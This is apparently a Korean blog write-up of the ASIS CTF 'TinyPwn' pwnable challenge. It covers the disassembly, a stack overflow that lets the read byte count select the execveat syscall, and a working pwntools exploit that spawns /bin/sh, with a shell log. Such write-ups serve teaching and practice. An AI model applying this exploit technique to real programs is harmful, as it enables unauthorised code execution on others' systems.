본문으로 바로가기

ASIS CTF TinyPwn ( write - up )

Content

  • Asm reversing

  • execveat


Analysis

# Start     
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 xor     rbx, rbx
.text:00000000004000B6                 xor     rcx, rcx
.text:00000000004000B9                 xor     rdx, rdx
.text:00000000004000BC                 xor     rdi, rdi
.text:00000000004000BF                 xor     rsi, rsi
.text:00000000004000C2                 xor     r8, r8
.text:00000000004000C5                 xor     r9, r9
.text:00000000004000C8                 xor     r10, r10
.text:00000000004000CB                 xor     r11, r11
.text:00000000004000CE                 xor     r12, r12
.text:00000000004000D1                 xor     r13, r13
.text:00000000004000D4                 xor     r14, r14
.text:00000000004000D7                 xor     r15, r15
.text:00000000004000DA                 xor     rbp, rbp
.text:00000000004000DD                 call   syscall_and_exit
.text:00000000004000E2                 mov     eax, 3Ch
.text:00000000004000E7                 xor     rdi, rdi        ; error_code
.text:00000000004000EA                 xor     rsi, rsi
.text:00000000004000ED                 xor     rdx, rdx
.text:00000000004000F0                 syscall                 ; LINUX - sys_exit

# syscall and exit        
.text:00000000004000F2                 sub     rsp, 128h
.text:00000000004000F9                 mov     rsi, rsp
.text:00000000004000FC                 mov     edx, 148h
.text:0000000000400101                 syscall                
.text:0000000000400103                 add     rsp, 128h
.text:000000000040010A                 retn

모든 레지스터를 0으로 초기화해주고, syscall_and_exit함수를 호출한다.

여기서는 sub rsp,0x128으로 스택을 0x128만큼 할당해주고, rsprsi에 넣는다.

그리고 edx0x148를 넣어주고, syscall을 호출한다.


즉, 호출되는 syscallread(0, rsp, 0x148)이다.

하지만, 스택을 0x128만큼 할당했었는데 0x148만큼 입력받으므로 ret를 덮을 수 있다.


또한 read함수의 return(rax)는 입력한 문자의 갯수이므로, syscall number 0x128(296)이상 0x148(328)이하의 원하는 syscall을 실행시킬 수 있다.

여기서 우리는 execveat을 사용할 수 있다.

하지만, execveat함수로 원하는 파일을 실행시키려면 rsi레지스터를 컨트롤할 수 있어야하는데, 해당 바이너리에 mov rsi, rsp라는 가젯이 있으므로 execveat(0,"/bin/sh",0,0)을 실행시킬 수 있다.


Exploit

from pwn import*

binary = "TinyPwn"
r = process(binary)

payload = ""
payload += "/bin/sh\x00"
payload = payload.ljust(296,"A")
payload += p64(0x00000000004000ed)
payload = payload.ljust(322,"B")
pause()
r.send(payload)

r.interactive()

그래도 전보다는 문제푸는게 많이 나아진듯.


Shell

juntae@ubuntu:~/ctf/asis/tinypwn$ p ex.py 
[!] Could not find executable 'TinyPwn' in $PATH, using './TinyPwn' instead
[+] Starting local process './TinyPwn': pid 5125
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)


'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글

[ASIS CTF] asvdb ( write-up )  (0) 2019.12.08
[ASIS CTF] FCascasde ( write-up )  (0) 2019.12.03
[ASIS CTF] cat ( write-up )  (0) 2019.12.03
[Rctf] babyheap ( write-up )  (0) 2019.11.04
[Layer7 CTF] Angel-in-us ( write-up )  (0) 2019.10.11